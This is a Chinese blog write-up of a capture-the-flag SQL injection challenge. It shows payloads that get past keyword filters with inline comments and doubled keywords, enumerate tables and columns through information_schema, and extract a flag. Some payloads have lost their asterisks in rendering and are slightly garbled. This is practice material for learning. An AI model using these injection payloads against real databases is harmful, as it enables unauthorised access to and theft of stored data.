ctf /**/与双写 绕过sql过滤

注意:
本博客可能转载了多处文章内容,所有转载内容均会标明出处,谢谢!!

1.在文章开始之前的话

本人也这是刚刚接触数据库这一块不过一周的时间,在此之前都是普通的码奴,所以对sql的命令或者语句有着错误的理解,请各位dalao海涵并在评论里指出。

2.浅谈我对sql和sql注入的理解

所谓sql,其原名是结构话查询语句,对于这个结构化我首先想到的是Linux里大部分的命令都带有的 -型的参数,再则就是对数据库进行访问的各种命令。而sql注入便是本来是获取从用户哪里输入的字符或者字符串,有意无意的形成了sql语句从而获取了来自数据库的不向大众公布的信息。

3.具体的解题过程

题目来源:http://www.shiyanbar.com/ctf/1875
标题界面
看到如此简洁的界面和输入框我自然是忍不住直接输入了 '1 or 1=1# 毕竟是sql注入里比较常见的语句了
????
嗯?直接出错还行,那换一个格式试试 '1 or ‘1’=‘1
emmmm
这会有输出了,并且出现了所有的内容。看来or并没有过滤,那来试试输入 1’ and ‘1’=‘1
在这里插入图片描述
啊?什么都没有,什么情况,难道是是把and给过滤了?有点东西。那把and双写试试。
在这里插入图片描述
有了!而且少了and和后面的空格看来,这个过滤是可以被绕过的过滤类型。
没事,这里想到用//绕过过滤,用union
(这里的/
/是css里的注释,类似于c语言里的/*,python里的#)
1’//union//select//schema_name//from//information_schema.schemata//where//‘1’=‘1
在这里插入图片描述
接下来,获取其表名(table_name)
1’/
/union//select//table_name//from//information_schema.tables//where//‘1’=‘1
在这里插入图片描述
这里会获得一大堆表明,但是最让人关注的table_name : flag ,人活着就算为了ctf的flag!!
那么接下来只需要获取flag的字段名就
1’//union//select//column_name//from//information_schema.columns//where//table_name=‘flag
在这里插入图片描述
欸!!,怎么报错了啊,明明flag就在眼前了。
仔细看看报错信息,它把information_schema.columns和columu_name给我过滤掉了。那直接把它们都双写了(注意:这里的双写应该把其放在其内部位置 列如:abcd->abcabcdd)
1’/
/union//select//column_nacolumn_nameme//from//information_schema.coluinformation_schema.columnsmns//where//table_name=‘flag
在这里插入图片描述
获得了字段名了,再使用如下命令获取flag的值,希望不要再来什么过滤啊啊啊啊。
1’//union//select//flag//from//flag//where/**/‘1’='1
在这里插入图片描述
有了!!
解题结束

  • 4
    点赞
  • 12
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值